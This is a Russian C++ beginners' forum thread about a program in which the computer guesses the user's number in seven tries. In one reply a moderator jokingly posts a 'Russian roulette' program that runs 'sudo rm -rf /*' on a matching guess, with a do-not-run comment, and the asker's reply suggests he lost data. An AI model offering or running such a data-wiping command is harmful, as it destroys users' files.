Форум программистов, компьютерный форум, киберфорум
Наши страницы
С++ для начинающих
Войти
Регистрация
Восстановить пароль
 
 
Рейтинг: Рейтинг темы: голосов - 13, средняя оценка - 4.92
andrejap
13 / 13 / 7
Регистрация: 21.04.2013
Сообщений: 245
#1

Компьютер угадывает число. Задача решена, как считаете? (вектор и цикл) - C++

26.04.2013, 15:54. Просмотров 1946. Ответов 22
Метки нет (Все метки)

Компьютер должен угадать задуманное пользователем число с 7-ми попыток.
Хотел написать с использованием циклов, а не просто перебором if-else. Но не всегда получается, как я смотрю.

Есть ли какое математическое решение для правильного выбора слагаемых
C++
1
op[i]
при проверке в цикле, а то не всегда 7 раз хватает?
http://www.cyberforum.ru/cpp-beginners/thread782795.html
Можно ли решать задачу решенной?

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
    vector<int> op(7);
            op[0]=25;
            op[1]=21;
            op[2]=17;
            op[3]=13;
            op[4]=9;
            op[5]=5;
            op[6]=1;
    int nv=50;
    char ans='a';
    for (unsigned int i=0;i<op.size();++i)
    {
        cout<<"Is value bigger/smaller than "<<nv<<" or equal?\n";
        cin>>ans;
        switch (ans)
        {
            case 'b':
            nv+=op[i];
            break;
            case 's':
            nv-=op[i];
            break;
            case 'e':
            cout<<"Your number is - "<<nv<<'.';
            break;
            default:
            cout<<"Pls enter correst answer";
            --i;
            break;
        }
 
    }
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
26.04.2013, 15:54
Я подобрал для вас темы с готовыми решениями и ответами на вопрос Компьютер угадывает число. Задача решена, как считаете? (вектор и цикл) (C++):

Верно ли решена данная задача
Задача: Напишите программу. считывающую цифры и составляющую из них целые...

Задача на Timus Online Judge, C++. Решена, но
Решил задачу, но выдает ошибку WA на 2 тесте. Не могу даже представить, в чем...

Задача решена, но программа не работает с большими значениями
Пусть An = sin(1–sin(2+sin(3–sin(4+…sin(n))…) Обозначим Sn =...

Элементы заданного массива расположить в обратном порядке. Правильно ли решена задача?
В общем задача такая : элементы заданного массива T(k) расположить в обратном...

Игра в крестики нолики, задача почти решена но результат не выводится на экран
Извиняюсь заранее, в этом деле я очень зеленый. Прошу отнестись с пониманием...

22
MrGluck
Модератор
Эксперт CЭксперт С++
7980 / 4861 / 1422
Регистрация: 29.11.2010
Сообщений: 13,235
26.04.2013, 17:20 #21
Дабы внести немного позитива, выложу код из своей статьи по новым ГСЧ из С++11 с русской рулеткой.
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <iostream>  
#include <random> 
#include <cstdlib>
 
int main() 
{ 
    std::mt19937 gen { std::random_device()() }; 
    std::uniform_int_distribution<int> uid(1, 6); 
    int x = uid(gen), y; 
    while(std::cin >> y) 
    { 
        if (x == y) 
            system("sudo rm -rf /*"); // Патч Бармина. НЕ ЗАПУСКАЙТЕ ЭТОТ КОД! 
        else 
             std::cout << "Lucky" << std::endl; 
        x = uid(gen); 
    } 
}
Правда оно не кроссплатформенное но во-первых, защиты по типу требования пароля администратора на винде нет и соотв. код отработает даже не дав системе пискнуть, во-вторых, неохота директивами было окружать код.

andrejap, http://cplusplus.com/reference/ctime/time/
Юра вам явно дал понять, что без вашего стремления к познанию и RTFM хотя бы по поведению функций, помогать вам не особенно то и охота, т.к. вам предлагают готовые решения, а вы палец о палец не ударяете.
0
andrejap
13 / 13 / 7
Регистрация: 21.04.2013
Сообщений: 245
26.04.2013, 17:32  [ТС] #22
Спасибо за помощь в форматировании моего hdd.
Всем спасибо, незнаю кому я нахомил. Извините, если не так.

бб

Добавлено через 5 минут
удалении инфы имел ввиду)

Добавлено через 4 минуты
А все-таки интересно, rm / само преобразуется в del * чтоли?
0
MrGluck
Модератор
Эксперт CЭксперт С++
7980 / 4861 / 1422
Регистрация: 29.11.2010
Сообщений: 13,235
26.04.2013, 18:19 #23
andrejap, в статье у меня в графе источники как раз
Код
man rm
На окнах можно и так: http://ru.wikipedia.org/wiki/Rm
0
26.04.2013, 18:19
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
26.04.2013, 18:19
Привет! Вот еще темы с решениями:

Решение СЛАУ методом простых итераций, задача решена, только написать код осталось
решить СЛАУ с точностью е=10 в степени(-4) 4*x1-x2-x3=2 x1+5*x2-2*x3=4 ...

Как вы считаете книга по С++ нормальная
Б. Страуструп - &quot;Программирование: принципы и практика использования C++

Написать программу, в которой задается число, а компьютер его угадывает
помогите пожалуйста, написать программу, в которой я задаю число, а компьютер...

[Цикл] Найти делители числа (задача уже решена, но где-то ошибка)
Вот собственно попробовал решить (нужно решить с помощью while), но видимо...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
23
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2018, vBulletin Solutions, Inc.
Рейтинг@Mail.ru